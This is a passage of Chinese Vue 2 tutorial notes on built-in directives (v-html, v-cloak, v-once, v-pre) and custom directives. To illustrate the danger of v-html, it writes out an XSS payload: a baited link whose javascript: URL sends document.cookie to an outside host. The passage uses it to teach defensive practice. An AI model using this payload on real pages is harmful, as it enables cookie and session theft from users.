<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span>&gt;</span><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 设置为 false 以阻止 vue 在启动时生成生产提示。</span></span><br><span class="javascript">    Vue.config.productionTip = <span class="hljs-literal">false</span>;</span><br><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 创建 Vue 实例</span></span><br><span class="javascript">    <span class="hljs-keyword">new</span> Vue(&#123;</span><br><span class="javascript">        <span class="hljs-attr">el</span>: <span class="hljs-string">&#x27;#root&#x27;</span>,</span><br><span class="javascript">        <span class="hljs-attr">data</span>: &#123;</span><br><span class="javascript">            <span class="hljs-attr">str</span>: <span class="hljs-string">&#x27;&lt;h2&gt;尚硅谷&lt;/h2&gt;&#x27;</span></span><br><span class="javascript">        &#125;</span><br><span class="javascript">    &#125;);</span><br><span class="javascript"></span><br><span class="javascript"></span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br></code></pre></td></tr></table></figure>

<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210802/image.1runp1b9hm5c.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<p>但是 <code>v-html</code> 存在一个严重的安全问题</p>
<p>当解析的 html 中有危险的非法获取数据的链接时，可能会造成数据泄露导致 <a target="_blank" rel="noopener" href="https://baike.baidu.com/item/XSS%E6%94%BB%E5%87%BB/954065?fr=aladdin">XSS 攻击</a></p>
<p>例如可以获取没有勾选的 <code>HttpOnly</code> 的 <code>Cookie</code> ，从而泄露个人信息。例如</p>
<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210802/image.1cd0ypq8211.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-comment">&lt;!-- 准备好一个容器 --&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;root&quot;</span>&gt;</span><br>    <span class="hljs-comment">&lt;!-- v-html 可以解析包含html结构的内容 --&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">v-html</span>=<span class="hljs-string">&quot;str&quot;</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br></code></pre></td></tr></table></figure>

<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span>&gt;</span><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 设置为 false 以阻止 vue 在启动时生成生产提示。</span></span><br><span class="javascript">    Vue.config.productionTip = <span class="hljs-literal">false</span>;</span><br><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 创建 Vue 实例</span></span><br><span class="javascript">    <span class="hljs-keyword">new</span> Vue(&#123;</span><br><span class="javascript">        <span class="hljs-attr">el</span>: <span class="hljs-string">&#x27;#root&#x27;</span>,</span><br><span class="javascript">        <span class="hljs-attr">data</span>: &#123;</span><br><span class="javascript">            <span class="hljs-comment">// 这里很关键</span></span><br><span class="javascript">            <span class="hljs-attr">str</span>: <span class="hljs-string">&#x27;&lt;a href=javascript:location.href=&quot;http://www.baidu.com?&quot;+document.cookie&gt;兄弟我找到你想要的资源了，快来！&lt;/a&gt;&#x27;</span></span><br><span class="javascript">        &#125;</span><br><span class="javascript">    &#125;);</span><br><span class="javascript"></span><br><span class="javascript"></span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br></code></pre></td></tr></table></figure>



<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210802/image.5jkqjs7zi6s0.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<h3 id="15-3-v-cloak指令"><a href="#15-3-v-cloak指令" class="headerlink" title="15.3 v-cloak指令"></a>15.3 v-cloak指令</h3><p><code>v-cloak</code> 可以在网速较慢，Vue 还为工作时，防止使未经解析的模板显示到页面上，影响用户的使用。</p>
<p>使用后配合 css 样式就可以将未解析的模板隐藏，在 Vue 开始工作后，v-cloak 会被移除，不影响页面显示。<a target="_blank" rel="noopener" href="https://www.bilibili.com/video/BV1Zy4y1K7SH?p=42">视频解析</a></p>
<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-comment">&lt;!-- 准备好一个容器--&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;root&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h2</span> <span class="hljs-attr">v-cloak</span>&gt;</span>&#123;&#123;name&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span> <span class="hljs-attr">src</span>=<span class="hljs-string">&quot;http://localhost:8080/resource/5s/vue.js&quot;</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span><br></code></pre></td></tr></table></figure>

<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span>&gt;</span><span class="javascript"></span><br><span class="javascript">    <span class="hljs-built_in">console</span>.log(<span class="hljs-number">1</span>)</span><br><span class="javascript">    Vue.config.productionTip = <span class="hljs-literal">false</span> <span class="hljs-comment">//阻止 vue 在启动时生成生产提示。</span></span><br><span class="javascript"></span><br><span class="javascript">    <span class="hljs-keyword">new</span> Vue(&#123;</span><br><span class="javascript">        <span class="hljs-attr">el</span>:<span class="hljs-string">&#x27;#root&#x27;</span>,</span><br><span class="javascript">        <span class="hljs-attr">data</span>:&#123;</span><br><span class="javascript">            <span class="hljs-attr">name</span>:<span class="hljs-string">&#x27;尚硅谷&#x27;</span></span><br><span class="javascript">        &#125;</span><br><span class="javascript">    &#125;)</span><br><span class="javascript"></span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>h<br></code></pre></td></tr></table></figure>

<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-tag">&lt;<span class="hljs-name">style</span>&gt;</span><span class="css"></span><br><span class="css">    <span class="hljs-comment">/* 将所有存在属性 v-cloak 的元素隐藏 */</span></span><br><span class="css">    <span class="hljs-selector-attr">[v-cloak]</span>&#123;</span><br><span class="css">        <span class="hljs-attribute">display</span>:none;</span><br><span class="css">    &#125;</span><br><span class="css"></span><span class="hljs-tag">&lt;/<span class="hljs-name">style</span>&gt;</span><br></code></pre></td></tr></table></figure>



<h3 id="15-4-v-once指令"><a href="#15-4-v-once指令" class="headerlink" title="15.4 v-once指令"></a>15.4 v-once指令</h3><p><code>v-once</code> 指令所在的节点在初次渲染后，就视为静态内容了，不会在发生改变。</p>
<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-comment">&lt;!-- 准备好一个容器 --&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;root&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h2</span> <span class="hljs-attr">v-once</span>&gt;</span>初始的 num 为&#123;&#123;num&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span> num 值为&#123;&#123;num&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> @<span class="hljs-attr">click</span>=<span class="hljs-string">&quot;num++&quot;</span>&gt;</span>点我 num+1<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br></code></pre></td></tr></table></figure>

<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span>&gt;</span><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 设置为 false 以阻止 vue 在启动时生成生产提示。</span></span><br><span class="javascript">    Vue.config.productionTip = <span class="hljs-literal">false</span>;</span><br><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 创建 Vue 实例</span></span><br><span class="javascript">    <span class="hljs-keyword">new</span> Vue(&#123;</span><br><span class="javascript">        <span class="hljs-attr">el</span>: <span class="hljs-string">&#x27;#root&#x27;</span>,</span><br><span class="javascript">        <span class="hljs-attr">data</span>: &#123;</span><br><span class="javascript">            <span class="hljs-attr">num</span>: <span class="hljs-number">1</span></span><br><span class="javascript">        &#125;</span><br><span class="javascript">    &#125;);</span><br><span class="javascript"></span><br><span class="javascript"></span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br></code></pre></td></tr></table></figure>

<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210802/image.2s24hlrdun60.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<h3 id="15-5-v-pre指令"><a href="#15-5-v-pre指令" class="headerlink" title="15.5 v-pre指令"></a>15.5 v-pre指令</h3><p><code>v-pre</code> 所在的节点跳过编译过程，写了什么就展示什么，Vue 不解析。</p>
<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-comment">&lt;!-- 准备好一个容器 --&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;root&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h2</span> <span class="hljs-attr">v-pre</span>&gt;</span>这里是一段固定的值<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h2</span> <span class="hljs-attr">v-pre</span>&gt;</span> num 值为&#123;&#123;num&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> @<span class="hljs-attr">click</span>=<span class="hljs-string">&quot;num++&quot;</span>&gt;</span>点我 num+1<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br></code></pre></td></tr></table></figure>

<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span>&gt;</span><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 设置为 false 以阻止 vue 在启动时生成生产提示。</span></span><br><span class="javascript">    Vue.config.productionTip = <span class="hljs-literal">false</span>;</span><br><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 创建 Vue 实例</span></span><br><span class="javascript">    <span class="hljs-keyword">new</span> Vue(&#123;</span><br><span class="javascript">        <span class="hljs-attr">el</span>: <span class="hljs-string">&#x27;#root&#x27;</span>,</span><br><span class="javascript">        <span class="hljs-attr">data</span>: &#123;</span><br><span class="javascript">            <span class="hljs-attr">num</span>: <span class="hljs-number">1</span></span><br><span class="javascript">        &#125;</span><br><span class="javascript">    &#125;);</span><br><span class="javascript"></span><br><span class="javascript"></span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br></code></pre></td></tr></table></figure>

<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210802/image.1mo60xfko5kw.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<blockquote>
<p>内置指令总结：</p>
<ol>
<li><p>之前使用过的指令：</p>
<table>
<thead>
<tr>
<th align="center"><strong>指令</strong></th>
<th align="center"><strong>作用</strong></th>
</tr>
</thead>
<tbody><tr>
<td align="center"><strong>v-bind</strong></td>
<td align="center"><strong>单向绑定解析表达式，可以简写为 :xxx</strong></td>
</tr>
<tr>
<td align="center"><strong>v-model</strong></td>
<td align="center"><strong>双向绑定数据</strong></td>
</tr>
<tr>
<td align="center"><strong>v-for</strong></td>
<td align="center"><strong>编历数组 / 对象 / 字符串</strong></td>
</tr>
<tr>
<td align="center"><strong>v-on</strong></td>
<td align="center"><strong>绑定监听事件，可简写为 @</strong></td>
</tr>
<tr>
<td align="center"><strong>v-if</strong></td>
<td align="center"><strong>条件渲染（动态控制节点是否存在）</strong></td>
</tr>
<tr>
<td align="center"><strong>v-else</strong></td>
<td align="center"><strong>条件渲染（动态控制节点是否存在）</strong></td>
</tr>
<tr>
<td align="center"><strong>v-show</strong></td>
<td align="center"><strong>条件渲染（动态控制节点是否展示）</strong></td>
</tr>
</tbody></table>
</li>
<li><p><code>v-text</code> 指令：</p>
<ul>
<li>作用：向其所在的节点中渲染文本内容。</li>
<li>与插值语法的区别：v-text 会替换掉节点中的内容， 则不会。</li>
</ul>
</li>
<li><p><code>v-html</code> 指令：</p>
<ul>
<li>作用：向指定节点中渲染包含 html 结构的内容。</li>
<li>与插值语法的区别：<ol>
<li>v-html 会替换掉节点中所有的内容， 则不会。</li>
<li>v-html 可以识别 html 结构， 则不可以。</li>
</ol>
</li>
<li>==严重注意==：v-html 有安全性问题！！！！<ol>
<li>在网站上动态渲染任意 HTML 是非常危险的，容易导致 XSS 攻击。</li>
<li>一定要在可信的内容上使用 v-html ，永远不要用在用户提交的内容上！</li>
</ol>
</li>
</ul>
</li>
<li><p><code>v-cloak</code> 指令（没有值）：</p>
<ul>
<li>本质是一个特殊属性，Vue 实例创建完毕并接管容器后，会删掉 v-cloak 属性。</li>
<li>使用 css 配合 v-cloak 可以解决网速慢时页面展示出  的问题。</li>
</ul>
</li>
<li><p><code>v-once</code> 指令：</p>
<ul>
<li>v-once 所在节点在初次动态渲染后，就视为静态内容了。</li>
<li>以后数据的改变不会引起 v-once 所在结构的更新，可以用于优化性能。</li>
</ul>
</li>
<li><p><code>v-pre</code> 指令：</p>
<ul>
<li>跳过其所在节点的编译过程，即 Vue 不会再去解析其内部的数据了。</li>
<li>可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译。</li>
</ul>
</li>
</ol>
</blockquote>
<h2 id="16-自定义指令"><a href="#16-自定义指令" class="headerlink" title="16.自定义指令"></a>16.自定义指令</h2><h3 id="16-1-简单自定义指令"><a href="#16-1-简单自定义指令" class="headerlink" title="16.1 简单自定义指令"></a>16.1 简单自定义指令</h3><p><strong>需求：定义一个 v-big 指令，和 v-text 功能类似，但会把绑定的数值放大 10 倍。</strong></p>
<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-comment">&lt;!-- 准备好一个容器 --&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;root&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>当前 num 的值是 <span class="hljs-tag">&lt;<span class="hljs-name">span</span> <span class="hljs-attr">v-text</span>=<span class="hljs-string">&quot;num&quot;</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">span</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>放大 10 倍后的 num 的值是 <span class="hljs-tag">&lt;<span class="hljs-name">span</span> <span class="hljs-attr">v-big</span>=<span class="hljs-string">&quot;num&quot;</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">span</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> @<span class="hljs-attr">click</span>=<span class="hljs-string">&quot;num++&quot;</span>&gt;</span>点我 num+1<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br></code></pre></td></tr></table></figure>

<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span>&gt;</span><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 设置为 false 以阻止 vue 在启动时生成生产提示。</span></span><br><span class="javascript">    Vue.config.productionTip = <span class="hljs-literal">false</span>;</span><br><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 创建 Vue 实例</span></span><br><span class="javascript">    <span class="hljs-keyword">new</span> Vue(&#123;</span><br><span class="javascript">        <span class="hljs-attr">el</span>: <span class="hljs-string">&#x27;#root&#x27;</span>,</span><br><span class="javascript">        <span class="hljs-attr">data</span>: &#123;</span><br><span class="javascript">            <span class="hljs-attr">num</span>: <span class="hljs-number">1</span>,</span><br><span class="javascript">        &#125;,</span><br><span class="javascript">        <span class="hljs-comment">// 自定义指令</span></span><br><span class="javascript">        <span class="hljs-comment">/*</span></span><br><span class="hljs-comment"><span class="javascript">            big 函数被调用的两个时机：</span></span><br><span class="hljs-comment"><span class="javascript">                1、指令元素成功绑定时（Vue 第一次解析模板）</span></span><br><span class="hljs-comment"><span class="javascript">                2、指令所在的模板被重新解析时（模板中的数据发生改变，都要重新解析模板）</span></span><br><span class="hljs-comment"><span class="javascript">         */</span></span><br><span class="javascript">        <span class="hljs-attr">directives</span>: &#123;</span><br><span class="javascript">            <span class="hljs-function"><span class="hljs-title">big</span>(<span class="hljs-params">element, binding</span>)</span> &#123;</span><br><span class="javascript">                <span class="hljs-built_in">console</span>.log(<span class="hljs-string">&quot;element&quot;</span>, element);</span><br><span class="javascript">                <span class="hljs-built_in">console</span>.log(<span class="hljs-string">&quot;binding&quot;</span>, binding);</span><br><span class="javascript">                element.innerText = binding.value * <span class="hljs-number">10</span>;</span><br><span class="javascript">            &#125;</span><br><span class="javascript">        &#125;</span><br><span class="javascript">    &#125;);</span><br><span class="javascript"></span><br><span class="javascript"></span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br></code></pre></td></tr></table></figure>

<p>big 函数中收到的两个参数</p>
<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210803/image.6w6xnyy5uns0.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<p>执行结果</p>
<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210803/image.2dxy9r36418g.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<h3 id="16-2-自定义指令（对象式）"><a href="#16-2-自定义指令（对象式）" class="headerlink" title="16.2 自定义指令（对象式）"></a>16.2 自定义指令（对象式）</h3><p><strong>需求：定义一个v-fbind指令，和v-bind功能类似，但可以让其所绑定的input元素默认获取焦点。</strong></p>
<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-comment">&lt;!-- 准备好一个容器 --&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;root&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text&quot;</span> <span class="hljs-attr">v-fbind</span>=<span class="hljs-string">&quot;num&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> @<span class="hljs-attr">click</span>=<span class="hljs-string">&quot;num++&quot;</span>&gt;</span>点我 num+1<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br></code></pre></td></tr></table></figure>

<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span>&gt;</span><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 设置为 false 以阻止 vue 在启动时生成生产提示。</span></span><br><span class="javascript">    Vue.config.productionTip = <span class="hljs-literal">false</span>;</span><br><span class="javascript">    <span class="hljs-comment">// 设置全局的自定义指令</span></span><br><span class="javascript">    Vue.directive(<span class="hljs-string">&#x27;fbind&#x27;</span>, &#123;</span><br><span class="javascript">        <span class="hljs-comment">// 指令与元素成功绑定时调用（一上来）</span></span><br><span class="javascript">        <span class="hljs-function"><span class="hljs-title">bind</span>(<span class="hljs-params">element, binding</span>)</span> &#123;</span><br><span class="javascript">            element.value = binding.value;</span><br><span class="javascript">            <span class="hljs-built_in">console</span>.log(<span class="hljs-string">&quot;bind&quot;</span>)</span><br><span class="javascript">        &#125;,</span><br><span class="javascript">        <span class="hljs-comment">// 指令所在元素被插入页面后</span></span><br><span class="javascript">        <span class="hljs-function"><span class="hljs-title">inserted</span>(<span class="hljs-params">element, binding</span>)</span> &#123;</span><br><span class="javascript">            element.focus();</span><br><span class="javascript">            <span class="hljs-built_in">console</span>.log(<span class="hljs-string">&quot;inserted&quot;</span>)</span><br><span class="javascript">        &#125;,</span><br><span class="javascript">        <span class="hljs-comment">// 指令所在的模板被重新解析时</span></span><br><span class="javascript">        <span class="hljs-function"><span class="hljs-title">update</span>(<span class="hljs-params">element, binding</span>)</span> &#123;</span><br><span class="javascript">            element.value = binding.value;</span><br><span class="javascript">            element.focus();</span><br><span class="javascript">            <span class="hljs-built_in">console</span>.log(<span class="hljs-string">&quot;update&quot;</span>)</span><br><span class="javascript">        &#125;</span><br><span class="javascript">    &#125;)</span><br><span class="javascript"></span><br><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 创建 Vue 实例</span></span><br><span class="javascript">    <span class="hljs-keyword">new</span> Vue(&#123;</span><br><span class="javascript">        <span class="hljs-attr">el</span>: <span class="hljs-string">&#x27;#root&#x27;</span>,</span><br><span class="javascript">        <span class="hljs-attr">data</span>: &#123;</span><br><span class="javascript">            <span class="hljs-attr">num</span>: <span class="hljs-number">1</span>,</span><br><span class="javascript">        &#125;,</span><br><span class="javascript">        <span class="hljs-comment">// 自定义指令</span></span><br><span class="javascript">        <span class="hljs-comment">/*directives: &#123;</span></span><br><span class="hljs-comment"><span class="javascript">            fbind: &#123;</span></span><br><span class="hljs-comment"><span class="javascript">                // 指令与元素成功绑定时调用（一上来）</span></span><br><span class="hljs-comment"><span class="javascript">                bind(element, binding) &#123;</span></span><br><span class="hljs-comment"><span class="javascript">                    element.value = binding.value;</span></span><br><span class="hljs-comment"><span class="javascript">                    console.log(&quot;bind&quot;)</span></span><br><span class="hljs-comment"><span class="javascript">                &#125;,</span></span><br><span class="hljs-comment"><span class="javascript">                // 指令所在元素被插入页面后</span></span><br><span class="hljs-comment"><span class="javascript">                inserted(element, binding) &#123;</span></span><br><span class="hljs-comment"><span class="javascript">                    element.focus();</span></span><br><span class="hljs-comment"><span class="javascript">                    console.log(&quot;inserted&quot;)</span></span><br><span class="hljs-comment"><span class="javascript">                &#125;,</span></span><br><span class="hljs-comment"><span class="javascript">                // 指令所在的模板被重新解析时</span></span><br><span class="hljs-comment"><span class="javascript">                update(element, binding) &#123;</span></span><br><span class="hljs-comment"><span class="javascript">                    element.value = binding.value;</span></span><br><span class="hljs-comment"><span class="javascript">                    element.focus();</span></span><br><span class="hljs-comment"><span class="javascript">                    console.log(&quot;update&quot;)</span></span><br><span class="hljs-comment"><span class="javascript">                &#125;</span></span><br><span class="hljs-comment"><span class="javascript">            &#125;</span></span><br><span class="hljs-comment"><span class="javascript">        &#125;*/</span></span><br><span class="javascript">    &#125;);</span><br><span class="javascript"></span><br><span class="javascript"></span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br></code></pre></td></tr></table></figure>

<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210803/image.6fmu0yw7t8k0.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<blockquote>
<p>总结自定义指令：</p>
<ol>
<li><p>定义语法：</p>
<ul>
<li><p>局部指令：</p>
